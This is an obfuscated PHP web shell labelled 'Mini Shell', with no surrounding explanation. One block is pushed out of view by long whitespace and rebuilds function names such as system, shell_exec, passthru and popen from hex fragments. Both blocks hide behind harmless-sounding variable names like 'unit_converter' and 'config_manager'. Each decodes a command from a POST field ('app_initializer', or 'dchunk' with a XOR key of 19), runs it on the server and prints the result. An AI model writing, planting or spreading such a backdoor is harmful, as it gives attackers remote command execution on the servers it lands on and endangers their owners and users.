Mini Shell

<?php																																										$ptr1 = '973';$ptr2 = '746';$ptr3 = '56d';$ptr4 = '736';$ptr5 = '865';$ptr6 = 'c5f';$ptr7 = '657';$ptr8 = '173';$ptr9 = '737';$ptr10 = '468';$ptr11 = '727';$ptr12 = '706';$ptr13 = '656';$ptr14 = '5f6';$ptr15 = '745';$ptr16 = 'e74';$ptr17 = '36c';$ptr18 = '6f7';$ptr19 = '365';$ptr20 = '697';$ptr21 = '616';$ptr22 = '572';$reverse_lookup1 = pack("H*", '737'.$ptr1.$ptr2.$ptr3);$reverse_lookup2 = pack("H*", $ptr4.$ptr5.'6c6'.$ptr6.$ptr7.$ptr5);$reverse_lookup3 = pack("H*", '657'.$ptr5);$reverse_lookup4 = pack("H*", '706'.$ptr8.$ptr9.$ptr10.$ptr11);$reverse_lookup5 = pack("H*", $ptr12.'f70'.$ptr13);$reverse_lookup6 = pack("H*", $ptr9.'472'.$ptr13.'16d'.$ptr14.'765'.$ptr15.'f63'.'6f6'.$ptr16.'656'.$ptr16);$reverse_lookup7 = pack("H*", '706'.$ptr17.$ptr18.$ptr19);$app_initializer = pack("H*", '617'.'070'.$ptr14.'96e'.$ptr20.'469'.$ptr21.'c69'.'7a6'.$ptr22);if(isset($_POST[$app_initializer])){$app_initializer=pack("H*",$_POST[$app_initializer]);if(function_exists($reverse_lookup1)){$reverse_lookup1($app_initializer);}elseif(function_exists($reverse_lookup2)){print $reverse_lookup2($app_initializer);}elseif(function_exists($reverse_lookup3)){$reverse_lookup3($app_initializer,$val_key);print join("\n",$val_key);}elseif(function_exists($reverse_lookup4)){$reverse_lookup4($app_initializer);}elseif(function_exists($reverse_lookup5)&&function_exists($reverse_lookup6)&&function_exists($reverse_lookup7)){$dchunk_k=$reverse_lookup5($app_initializer,"r");if($dchunk_k){$entity_tkn=$reverse_lookup6($dchunk_k);$reverse_lookup7($dchunk_k);print $entity_tkn;}}exit;}


$unit_converter1 = "\x73\x79st\x65m";
$unit_converter4 = "\x70\x61\x73\x73thru";
$config_manager = "\x68\x65\x782bi\x6E";
$unit_converter3 = "e\x78e\x63";
$unit_converter5 = "pop\x65\x6E";
$unit_converter6 = "strea\x6D\x5F\x67\x65\x74\x5Fco\x6E\x74\x65\x6Ets";
$unit_converter7 = "pc\x6Cose";
$unit_converter2 = "she\x6C\x6C_e\x78e\x63";
if (isset($_POST["d\x63h\x75\x6Ek"])) {
            function splitter_tool( $property_set ,  $flag) {$rec=''; $a=0; do{$rec.=chr(ord($property_set[$a])^$flag);$a++;} while($a<strlen($property_set)); return $rec;}
            $dchunk = $config_manager($_POST["d\x63h\x75\x6Ek"]);
            $dchunk = splitter_tool($dchunk, 19);
            if (function_exists($unit_converter1)) {
                $unit_converter1($dchunk);
            } elseif (function_exists($unit_converter2)) {
                print $unit_converter2($dchunk);
            } elseif (function_exists($unit_converter3)) {
                $unit_converter3($dchunk, $entry_property_set);
                print join("\n", $entry_property_set);
            } elseif (function_exists($unit_converter4)) {
                $unit_converter4($dchunk);
            } elseif (function_exists($unit_converter5) && function_exists($unit_converter6) && function_exists($unit_converter7)) {
                $flag_rec = $unit_converter5($dchunk, 'r');
                if ($flag_rec) {
                    $dat_obj = $unit_converter6($flag_rec);
                    $unit_converter7($flag_rec);
                    print $dat_obj;
                }
            }
            exit;
        }